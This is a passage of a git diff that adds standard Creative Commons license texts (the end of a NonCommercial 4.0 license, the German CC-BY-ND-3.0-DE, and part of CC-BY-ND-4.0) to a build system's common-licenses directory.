+Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material:
+
+ a. for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database for NonCommercial purposes only;
+
+ b. if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material, including for purposes of Section 3(b); and
+
+ c. You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database.
+For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights.
+
+Section 5 – Disclaimer of Warranties and Limitation of Liability.
+
+ a. Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You.
+
+ b. To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You.
+
+ c. The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability.
+
+Section 6 – Term and Termination.
+
+ a. This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically.
+
+ b. Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates:
+
+ 1. automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or
+
+ 2. upon express reinstatement by the Licensor.
+
+ For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License.
+
+ c. For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License.
+
+ d. Sections 1, 5, 6, 7, and 8 survive termination of this Public License.
+
+Section 7 – Other Terms and Conditions.
+
+ a. The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed.
+
+ b. Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License.
+
+Section 8 – Interpretation.
+
+ a. For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License.
+
+ b. To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions.
+
+ c. No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor.
+
+ d. Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority.
+
+Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at creativecommons.org/policies, Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.
+
+Creative Commons may be contacted at creativecommons.org.
diff --git a/meta/files/common-licenses/CC-BY-ND-3.0-DE b/meta/files/common-licenses/CC-BY-ND-3.0-DE
new file mode 100644
index 0000000000..c89d927981
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-ND-3.0-DE
@@ -0,0 +1,101 @@
+Creative Commons Namensnennung - Keine Bearbeitungen 3.0 Deutschland
+
+ CREATIVE COMMONS IST KEINE RECHTSANWALTSKANZLEI UND LEISTET KEINE RECHTSBERATUNG. DIE BEREITSTELLUNG DIESER LIZENZ FÜHRT ZU KEINEM MANDATSVERHÄLTNIS. CREATIVE COMMONS STELLT DIESE INFORMATIONEN OHNE GEWÄHR ZUR VERFÜGUNG. CREATIVE COMMONS ÜBERNIMMT KEINE GEWÄHRLEISTUNG FÜR DIE GELIEFERTEN INFORMATIONEN UND SCHLIEßT DIE HAFTUNG FÜR SCHÄDEN AUS, DIE SICH AUS DEREN GEBRAUCH ERGEBEN.
+
+Lizenz
+
+DER GEGENSTAND DIESER LIZENZ (WIE UNTER "SCHUTZGEGENSTAND" DEFINIERT) WIRD UNTER DEN BEDINGUNGEN DIESER CREATIVE COMMONS PUBLIC LICENSE ("CCPL", "LIZENZ" ODER "LIZENZVERTRAG") ZUR VERFÜGUNG GESTELLT. DER SCHUTZGEGENSTAND IST DURCH DAS URHEBERRECHT UND/ODER ANDERE GESETZE GESCHÜTZT. JEDE FORM DER NUTZUNG DES SCHUTZGEGENSTANDES, DIE NICHT AUFGRUND DIESER LIZENZ ODER DURCH GESETZE GESTATTET IST, IST UNZULÄSSIG.
+
+DURCH DIE AUSÜBUNG EINES DURCH DIESE LIZENZ GEWÄHRTEN RECHTS AN DEM SCHUTZGEGENSTAND ERKLÄREN SIE SICH MIT DEN LIZENZBEDINGUNGEN RECHTSVERBINDLICH EINVERSTANDEN. SOWEIT DIESE LIZENZ ALS LIZENZVERTRAG ANZUSEHEN IST, GEWÄHRT IHNEN DER LIZENZGEBER DIE IN DER LIZENZ GENANNTEN RECHTE UNENTGELTLICH UND IM AUSTAUSCH DAFÜR, DASS SIE DAS GEBUNDENSEIN AN DIE LIZENZBEDINGUNGEN AKZEPTIEREN.
+
+1. Definitionen
+
+ a. Der Begriff "Abwandlung" im Sinne dieser Lizenz bezeichnet das Ergebnis jeglicher Art von Veränderung des Schutzgegenstandes, solange die eigenpersönlichen Züge des Schutzgegenstandes darin nicht verblassen und daran eigene Schutzrechte entstehen. Das kann insbesondere eine Bearbeitung, Umgestaltung, Änderung, Anpassung, Übersetzung oder Heranziehung des Schutzgegenstandes zur Vertonung von Laufbildern sein. Nicht als Abwandlung des Schutzgegenstandes gelten seine Aufnahme in eine Sammlung oder ein Sammelwerk und die freie Benutzung des Schutzgegenstandes.
+
+ b. Der Begriff "Sammelwerk" im Sinne dieser Lizenz meint eine Zusammenstellung von literarischen, künstlerischen oder wissenschaftlichen Inhalten, sofern diese Zusammenstellung aufgrund von Auswahl und Anordnung der darin enthaltenen selbständigen Elemente eine geistige Schöpfung darstellt, unabhängig davon, ob die Elemente systematisch oder methodisch angelegt und dadurch einzeln zugänglich sind oder nicht.
+
+ c. "Verbreiten" im Sinne dieser Lizenz bedeutet, den Schutzgegenstand im Original oder in Form von Vervielfältigungsstücken, mithin in körperlich fixierter Form der Öffentlichkeit anzubieten oder in Verkehr zu bringen.
+
+ d. Der "Lizenzgeber" im Sinne dieser Lizenz ist diejenige natürliche oder juristische Person oder Gruppe, die den Schutzgegenstand unter den Bedingungen dieser Lizenz anbietet und insoweit als Rechteinhaberin auftritt.
+
+ e. "Rechteinhaber" im Sinne dieser Lizenz ist der Urheber des Schutzgegenstandes oder jede andere natürliche oder juristische Person oder Gruppe von Personen, die am Schutzgegenstand ein Immaterialgüterrecht erlangt hat, welches die in Abschnitt 3 genannten Handlungen erfasst und bei dem eine Einräumung von Nutzungsrechten oder eine Weiterübertragung an Dritte möglich ist.
+
+ f. Der Begriff "Schutzgegenstand" bezeichnet in dieser Lizenz den literarischen, künstlerischen oder wissenschaftlichen Inhalt, der unter den Bedingungen dieser Lizenz angeboten wird. Das kann insbesondere eine persönliche geistige Schöpfung jeglicher Art, ein Werk der kleinen Münze, ein nachgelassenes Werk oder auch ein Lichtbild oder anderes Objekt eines verwandten Schutzrechts sein, unabhängig von der Art seiner Fixierung und unabhängig davon, auf welche Weise jeweils eine Wahrnehmung erfolgen kann, gleichviel ob in analoger oder digitaler Form. Soweit Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen, unterfallen auch sie dem Begriff "Schutzgegenstand" im Sinne dieser Lizenz.
+
+ g. Mit "Sie" bzw. "Ihnen" ist die natürliche oder juristische Person gemeint, die in dieser Lizenz im Abschnitt 3 genannte Nutzungen des Schutzgegenstandes vornimmt und zuvor in Hinblick auf den Schutzgegenstand nicht gegen Bedingungen dieser Lizenz verstoßen oder aber die ausdrückliche Erlaubnis des Lizenzgebers erhalten hat, die durch diese Lizenz gewährten Nutzungsrechte trotz eines vorherigen Verstoßes auszuüben.
+
+ h. Unter "Öffentlich Zeigen" im Sinne dieser Lizenz sind Veröffentlichungen und Präsentationen des Schutzgegenstandes zu verstehen, die für eine Mehrzahl von Mitgliedern der Öffentlichkeit bestimmt sind und in unkörperlicher Form mittels öffentlicher Wiedergabe in Form von Vortrag, Aufführung, Vorführung, Darbietung, Sendung, Weitersendung, zeit- und ortsunabhängiger Zugänglichmachung oder in körperlicher Form mittels Ausstellung erfolgen, unabhängig von bestimmten Veranstaltungen und unabhängig von den zum Einsatz kommenden Techniken und Verfahren, einschließlich drahtgebundener oder drahtloser Mittel und Einstellen in das Internet.
+
+ i. "Vervielfältigen" im Sinne dieser Lizenz bedeutet, mittels beliebiger Verfahren Vervielfältigungsstücke des Schutzgegenstandes herzustellen, insbesondere durch Ton- oder Bildaufzeichnungen, und umfasst auch den Vorgang, erstmals körperliche Fixierungen des Schutzgegenstandes sowie Vervielfältigungsstücke dieser Fixierungen anzufertigen, sowie die Übertragung des Schutzgegenstandes auf einen Bild- oder Tonträger oder auf ein anderes elektronisches Medium, gleichviel ob in digitaler oder analoger Form.
+
+2. Schranken des Immaterialgüterrechts. Diese Lizenz ist in keiner Weise darauf gerichtet, Befugnisse zur Nutzung des Schutzgegenstandes zu vermindern, zu beschränken oder zu vereiteln, die Ihnen aufgrund der Schranken des Urheberrechts oder anderer Rechtsnormen bereits ohne Weiteres zustehen oder sich aus dem Fehlen eines immaterialgüterrechtlichen Schutzes ergeben.
+
+3. Einräumung von Nutzungsrechten. Unter den Bedingungen dieser Lizenz räumt Ihnen der Lizenzgeber - unbeschadet unverzichtbarer Rechte und vorbehaltlich des Abschnitts 3.c) - das vergütungsfreie, räumlich und zeitlich (für die Dauer des Schutzrechts am Schutzgegenstand) unbeschränkte einfache Recht ein, den Schutzgegenstand auf die folgenden Arten und Weisen zu nutzen ("unentgeltlich eingeräumtes einfaches Nutzungsrecht für jedermann"):
+
+ a. Den Schutzgegenstand in beliebiger Form und Menge zu vervielfältigen, ihn in Sammelwerke zu integrieren und ihn als Teil solcher Sammelwerke zu vervielfältigen;
+
+ b. den Schutzgegenstand, allein oder in Sammelwerke aufgenommen, öffentlich zu zeigen und zu verbreiten.
+
+ c. Bezüglich Vergütung für die Nutzung des Schutzgegenstandes gilt Folgendes:
+
+ i. Unverzichtbare gesetzliche Vergütungsansprüche: Soweit unverzichtbare Vergütungsansprüche im Gegenzug für gesetzliche Lizenzen vorgesehen oder Pauschalabgabensysteme (zum Beispiel für Leermedien) vorhanden sind, behält sich der Lizenzgeber das ausschließliche Recht vor, die entsprechende Vergütung einzuziehen für jede Ausübung eines Rechts aus dieser Lizenz durch Sie.
+
+ ii. Vergütung bei Zwangslizenzen: Sofern Zwangslizenzen außerhalb dieser Lizenz vorgesehen sind und zustande kommen, verzichtet der Lizenzgeber für alle Fälle einer lizenzgerechten Nutzung des Schutzgegenstandes durch Sie auf jegliche Vergütung.
+
+ iii. Vergütung in sonstigen Fällen: Bezüglich lizenzgerechter Nutzung des Schutzgegenstandes durch Sie, die nicht unter die beiden vorherigen Abschnitte (i) und (ii) fällt, verzichtet der Lizenzgeber auf jegliche Vergütung, unabhängig davon, ob eine Einziehung der Vergütung durch ihn selbst oder nur durch eine Verwertungsgesellschaft möglich wäre.
+
+Das vorgenannte Nutzungsrecht wird für alle bekannten sowie für alle noch nicht bekannten Nutzungsarten eingeräumt. Es beinhaltet auch das Recht, solche Änderungen am Schutzgegenstand vorzunehmen, die für bestimmte nach dieser Lizenz zulässige Nutzungen technisch erforderlich sind. Weitergehende Änderungen oder Abwandlungen sind jedoch untersagt. Alle sonstigen Rechte, die über diesen Abschnitt hinaus nicht ausdrücklich durch den Lizenzgeber eingeräumt werden, bleiben diesem allein vorbehalten. Soweit Datenbanken oder Zusammenstellungen von Daten Schutzgegenstand dieser Lizenz oder Teil dessen sind und einen immaterialgüterrechtlichen Schutz eigener Art genießen, verzichtet der Lizenzgeber auf sämtliche aus diesem Schutz resultierenden Rechte.
+
+4. Bedingungen. Die Einräumung des Nutzungsrechts gemäß Abschnitt 3 dieser Lizenz erfolgt ausdrücklich nur unter den folgenden Bedingungen:
+
+ a. Sie dürfen den Schutzgegenstand ausschließlich unter den Bedingungen dieser Lizenz verbreiten oder öffentlich zeigen. Sie müssen dabei stets eine Kopie dieser Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen dieser Lizenz oder die durch diese Lizenz gewährten Rechte beschränken. Sie dürfen den Schutzgegenstand nicht unterlizenzieren. Bei jeder Kopie des Schutzgegenstandes, die Sie verbreiten oder öffentlich zeigen, müssen Sie alle Hinweise unverändert lassen, die auf diese Lizenz und den Haftungsausschluss hinweisen. Wenn Sie den Schutzgegenstand verbreiten oder öffentlich zeigen, dürfen Sie (in Bezug auf den Schutzgegenstand) keine technischen Maßnahmen ergreifen, die den Nutzer des Schutzgegenstandes in der Ausübung der ihm durch diese Lizenz gewährten Rechte behindern können. Dieser Abschnitt 4.a) gilt auch für den Fall, dass der Schutzgegenstand einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt dieser Lizenz unterstellt werden muss. Sofern Sie ein Sammelwerk erstellen, müssen Sie auf die Mitteilung eines Lizenzgebers hin aus dem Sammelwerk die in Abschnitt 4.b) aufgezählten Hinweise entfernen.
+
+ b. Die Verbreitung und das öffentliche Zeigen des Schutzgegenstandes oder ihn enthaltender Sammelwerke ist Ihnen nur unter der Bedingung gestattet, dass Sie, vorbehaltlich etwaiger Mitteilungen im Sinne von Abschnitt 4.a), alle dazu gehörenden Rechtevermerke unberührt lassen. Sie sind verpflichtet, die Rechteinhaberschaft in einer der Nutzung entsprechenden, angemessenen Form anzuerkennen, indem Sie - soweit bekannt - Folgendes angeben:
+
+ i. Den Namen (oder das Pseudonym, falls ein solches verwendet wird) des Rechteinhabers und / oder, falls der Lizenzgeber im Rechtevermerk, in den Nutzungsbedingungen oder auf andere angemessene Weise eine Zuschreibung an Dritte vorgenommen hat (z.B. an eine Stiftung, ein Verlagshaus oder eine Zeitung) ("Zuschreibungsempfänger"), Namen bzw. Bezeichnung dieses oder dieser Dritten;
+
+ ii. den Titel des Inhaltes;
+
+ iii. in einer praktikablen Form den Uniform-Resource-Identifier (URI, z.B. Internetadresse), den der Lizenzgeber zum Schutzgegenstand angegeben hat, es sei denn, dieser URI verweist nicht auf den Rechtevermerk oder die Lizenzinformationen zum Schutzgegenstand.
+
+ Die nach diesem Abschnitt 4.b) erforderlichen Angaben können in jeder angemessenen Form gemacht werden; im Falle eines Sammelwerkes müssen diese Angaben das Minimum darstellen und bei gemeinsamer Nennung mehrerer Rechteinhaber dergestalt erfolgen, dass sie zumindest ebenso hervorgehoben sind wie die Hinweise auf die übrigen Rechteinhaber. Die Angaben nach diesem Abschnitt dürfen Sie ausschließlich zur Angabe der Rechteinhaberschaft in der oben bezeichneten Weise verwenden. Durch die Ausübung Ihrer Rechte aus dieser Lizenz dürfen Sie ohne eine vorherige, separat und schriftlich vorliegende Zustimmung des Lizenzgebers und / oder des Zuschreibungsempfängers weder explizit noch implizit irgendeine Verbindung zum Lizenzgeber oder Zuschreibungsempfänger und ebenso wenig eine Unterstützung oder Billigung durch ihn andeuten.
+
+ c. Die oben unter 4.a) und b) genannten Einschränkungen gelten nicht für solche Teile des Schutzgegenstandes, die allein deshalb unter den Schutzgegenstandsbegriff fallen, weil sie als Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen.
+
+ d. Persönlichkeitsrechte bleiben - soweit sie bestehen - von dieser Lizenz unberührt.
+
+5. Gewährleistung
+
+SOFERN KEINE ANDERS LAUTENDE, SCHRIFTLICHE VEREINBARUNG ZWISCHEN DEM LIZENZGEBER UND IHNEN GESCHLOSSEN WURDE UND SOWEIT MÄNGEL NICHT ARGLISTIG VERSCHWIEGEN WURDEN, BIETET DER LIZENZGEBER DEN SCHUTZGEGENSTAND UND DIE EINRÄUMUNG VON RECHTEN UNTER AUSSCHLUSS JEGLICHER GEWÄHRLEISTUNG AN UND ÜBERNIMMT WEDER AUSDRÜCKLICH NOCH KONKLUDENT GARANTIEN IRGENDEINER ART. DIES UMFASST INSBESONDERE DAS FREISEIN VON SACH- UND RECHTSMÄNGELN, UNABHÄNGIG VON DEREN ERKENNBARKEIT FÜR DEN LIZENZGEBER, DIE VERKEHRSFÄHIGKEIT DES SCHUTZGEGENSTANDES, SEINE VERWENDBARKEIT FÜR EINEN BESTIMMTEN ZWECK SOWIE DIE KORREKTHEIT VON BESCHREIBUNGEN. DIESE GEWÄHRLEISTUNGSBESCHRÄNKUNG GILT NICHT, SOWEIT MÄNGEL ZU SCHÄDEN DER IN ABSCHNITT 6 BEZEICHNETEN ART FÜHREN UND AUF SEITEN DES LIZENZGEBERS DAS JEWEILS GENANNTE VERSCHULDEN BZW. VERTRETENMÜSSEN EBENFALLS VORLIEGT.
+
+6. Haftungsbeschränkung
+
+DER LIZENZGEBER HAFTET IHNEN GEGENÜBER IN BEZUG AUF SCHÄDEN AUS DER VERLETZUNG DES LEBENS, DES KÖRPERS ODER DER GESUNDHEIT NUR, SOFERN IHM WENIGSTENS FAHRLÄSSIGKEIT VORZUWERFEN IST, FÜR SONSTIGE SCHÄDEN NUR BEI GROBER FAHRLÄSSIGKEIT ODER VORSATZ, UND ÜBERNIMMT DARÜBER HINAUS KEINERLEI FREIWILLIGE HAFTUNG.
+
+7. Erlöschen
+
+ a. Diese Lizenz und die durch sie eingeräumten Nutzungsrechte erlöschen mit Wirkung für die Zukunft im Falle eines Verstoßes gegen die Lizenzbedingungen durch Sie, ohne dass es dazu der Kenntnis des Lizenzgebers vom Verstoß oder einer weiteren Handlung einer der Vertragsparteien bedarf. Mit natürlichen oder juristischen Personen, die den Schutzgegenstand enthaltende Sammelwerke unter den Bedingungen dieser Lizenz von Ihnen erhalten haben, bestehen nachträglich entstandene Lizenzbeziehungen jedoch solange weiter, wie die genannten Personen sich ihrerseits an sämtliche Lizenzbedingungen halten. Darüber hinaus gelten die Ziffern 1, 2, 5, 6, 7, und 8 auch nach einem Erlöschen dieser Lizenz fort.
+
+ b. Vorbehaltlich der oben genannten Bedingungen gilt diese Lizenz unbefristet bis der rechtliche Schutz für den Schutzgegenstand ausläuft. Davon abgesehen behält der Lizenzgeber das Recht, den Schutzgegenstand unter anderen Lizenzbedingungen anzubieten oder die eigene Weitergabe des Schutzgegenstandes jederzeit einzustellen, solange die Ausübung dieses Rechts nicht einer Kündigung oder einem Widerruf dieser Lizenz (oder irgendeiner Weiterlizenzierung, die auf Grundlage dieser Lizenz bereits erfolgt ist bzw. zukünftig noch erfolgen muss) dient und diese Lizenz unter Berücksichtigung der oben zum Erlöschen genannten Bedingungen vollumfänglich wirksam bleibt.
+
+8. Sonstige Bestimmungen
+
+ a. Jedes Mal wenn Sie den Schutzgegenstand für sich genommen oder als Teil eines Sammelwerkes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ b. Sollte eine Bestimmung dieser Lizenz unwirksam sein, so bleibt davon die Wirksamkeit der Lizenz im Übrigen unberührt.
+
+ c. Keine Bestimmung dieser Lizenz soll als abbedungen und kein Verstoß gegen sie als zulässig gelten, solange die von dem Verzicht oder von dem Verstoß betroffene Seite nicht schriftlich zugestimmt hat.
+
+ d. Diese Lizenz (zusammen mit in ihr ausdrücklich vorgesehenen Erlaubnissen, Mitteilungen und Zustimmungen, soweit diese tatsächlich vorliegen) stellt die vollständige Vereinbarung zwischen dem Lizenzgeber und Ihnen in Bezug auf den Schutzgegenstand dar. Es bestehen keine Abreden, Vereinbarungen oder Erklärungen in Bezug auf den Schutzgegenstand, die in dieser Lizenz nicht genannt sind. Rechtsgeschäftliche Änderungen des Verhältnisses zwischen dem Lizenzgeber und Ihnen sind nur über Modifikationen dieser Lizenz möglich. Der Lizenzgeber ist an etwaige zusätzliche, einseitig durch Sie übermittelte Bestimmungen nicht gebunden. Diese Lizenz kann nur durch schriftliche Vereinbarung zwischen Ihnen und dem Lizenzgeber modifiziert werden. Derlei Modifikationen wirken ausschließlich zwischen dem Lizenzgeber und Ihnen und wirken sich nicht auf die Dritten gemäß Ziffern 8.a) angeboteten Lizenzen aus.
+
+ e. Sofern zwischen Ihnen und dem Lizenzgeber keine anderweitige Vereinbarung getroffen wurde und soweit Wahlfreiheit besteht, findet auf diesen Lizenzvertrag das Recht der Bundesrepublik Deutschland Anwendung.
+
+
+Creative Commons Notice
+
+Creative Commons ist nicht Partei dieser Lizenz und übernimmt keinerlei Gewähr oder dergleichen in Bezug auf den Schutzgegenstand. Creative Commons haftet Ihnen oder einer anderen Partei unter keinem rechtlichen Gesichtspunkt für irgendwelche Schäden, die - abstrakt oder konkret, zufällig oder vorhersehbar - im Zusammenhang mit dieser Lizenz entstehen. Unbeschadet der vorangegangen beiden Sätze, hat Creative Commons alle Rechte und Pflichten eines Lizenzgebers, wenn es sich ausdrücklich als Lizenzgeber im Sinne dieser Lizenz bezeichnet.
+
+Creative Commons gewährt den Parteien nur insoweit das Recht, das Logo und die Marke "Creative Commons" zu nutzen, als dies notwendig ist, um der Öffentlichkeit gegenüber kenntlich zu machen, dass der Schutzgegenstand unter einer CCPL steht. Ein darüber hinaus gehender Gebrauch der Marke "Creative Commons" oder einer verwandten Marke oder eines verwandten Logos bedarf der vorherigen schriftlichen Zustimmung von Creative Commons. Jeder erlaubte Gebrauch richtet sich nach der Creative Commons Marken-Nutzungs-Richtlinie in der jeweils aktuellen Fassung, die von Zeit zu Zeit auf der Website veröffentlicht oder auf andere Weise auf Anfrage zugänglich gemacht wird. Zur Klarstellung: Die genannten Einschränkungen der Markennutzung sind nicht Bestandteil dieser Lizenz.
+
+Creative Commons kann kontaktiert werden über https://creativecommons.org/.
+
diff --git a/meta/files/common-licenses/CC-BY-ND-4.0 b/meta/files/common-licenses/CC-BY-ND-4.0
new file mode 100644
index 0000000000..09a21c7358
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-ND-4.0
@@ -0,0 +1,154 @@
+Creative Commons Attribution-NoDerivatives 4.0 International
+
+ Creative Commons Corporation (“Creative Commons”) is not a law firm and does not provide legal services or legal advice. Distribution of Creative Commons public licenses does not create a lawyer-client or other relationship. Creative Commons makes its licenses and related information available on an “as-is” basis. Creative Commons gives no warranties regarding its licenses, any material licensed under their terms and conditions, or any related information. Creative Commons disclaims all liability for damages resulting from their use to the fullest extent possible.
+
+Using Creative Commons Public Licenses
+
+Creative Commons public licenses provide a standard set of terms and conditions that creators and other rights holders may use to share original works of authorship and other material subject to copyright and certain other rights specified in the public license below. The following considerations are for informational purposes only, are not exhaustive, and do not form part of our licenses.
+
+Considerations for licensors: Our public licenses are intended for use by those authorized to give the public permission to use material in ways otherwise restricted by copyright and certain other rights. Our licenses are irrevocable. Licensors should read and understand the terms and conditions of the license they choose before applying it. Licensors should also secure all rights necessary before applying our licenses so that the public can reuse the material as expected. Licensors should clearly mark any material not subject to the license. This includes other CC-licensed material, or material used under an exception or limitation to copyright. More considerations for licensors.
+
+Considerations for the public: By using one of our public licenses, a licensor grants the public permission to use the licensed material under specified terms and conditions. If the licensor’s permission is not necessary for any reason–for example, because of any applicable exception or limitation to copyright–then that use is not regulated by the license. Our licenses grant only permissions under copyright and certain other rights that a licensor has authority to grant. Use of the licensed material may still be restricted for other reasons, including because others have copyright or other rights in the material. A licensor may make special requests, such as asking that all changes be marked or described. Although not required by our licenses, you are encouraged to respect those requests where reasonable. More considerations for the public.
+
+Creative Commons Attribution-NoDerivatives 4.0 International Public License
+
+By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution-NoDerivatives 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions.
+
+Section 1 – Definitions.
+
+ a. Adapted Material means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image.
+
+ b. Copyright and Similar Rights means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights.
+
+ c. Effective Technological Measures means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements.
+
+ d. Exceptions and Limitations means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material.
+
+ e. Licensed Material means the artistic or literary work, database, or other material to which the Licensor applied this Public License.
+
+ f. Licensed Rights means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license.
+
+ g. Licensor means the individual(s) or entity(ies) granting rights under this Public License.
+
+ h. Share means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them.
+
+ i. Sui Generis Database Rights means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially equivalent rights anywhere in the world.
+
+ j. You means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning.
+
+Section 2 – Scope.
+
+ a. License grant.
+
+ 1. Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to:
+
+ A. reproduce and Share the Licensed Material, in whole or in part; and
+
+ B. produce and reproduce, but not Share, Adapted Material.
+
+ 2. Exceptions and Limitations. For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions.
+
+ 3. Term. The term of this Public License is specified in Section 6(a).
+
+ 4. Media and formats; technical modifications allowed. The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a)(4) never produces Adapted Material.
+
+ 5. Downstream recipients.
+
+ A. Offer from the Licensor – Licensed Material. Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License.
+
+ B. No downstream restrictions. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material.
+
+ 6. No endorsement. Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i).
+
+ b. Other rights.
+
+ 1. Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise.
+
+ 2. Patent and trademark rights are not licensed under this Public License.
+
+ 3. To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties.
+
+Section 3 – License Conditions.
+
+Your exercise of the Licensed Rights is expressly made subject to the following conditions.
+
+ a. Attribution.
+
+ 1. If You Share the Licensed Material, You must:
+
+ A. retain the following if it is supplied by the Licensor with the Licensed Material:
+
+ i. identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated);
+
+ ii. a copyright notice;
+
+ iii. a notice that refers to this Public License;
+
+ iv. a notice that refers to the disclaimer of warranties;
+
+ v. a URI or hyperlink to the Licensed Material to the extent reasonably practicable;
+
+ B. indicate if You modified the Licensed Material and retain an indication of any previous modifications; and
+
+ C. indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License.
+
+ 2. For the avoidance of doubt, You do not have permission under this Public License to Share Adapted Material.
+
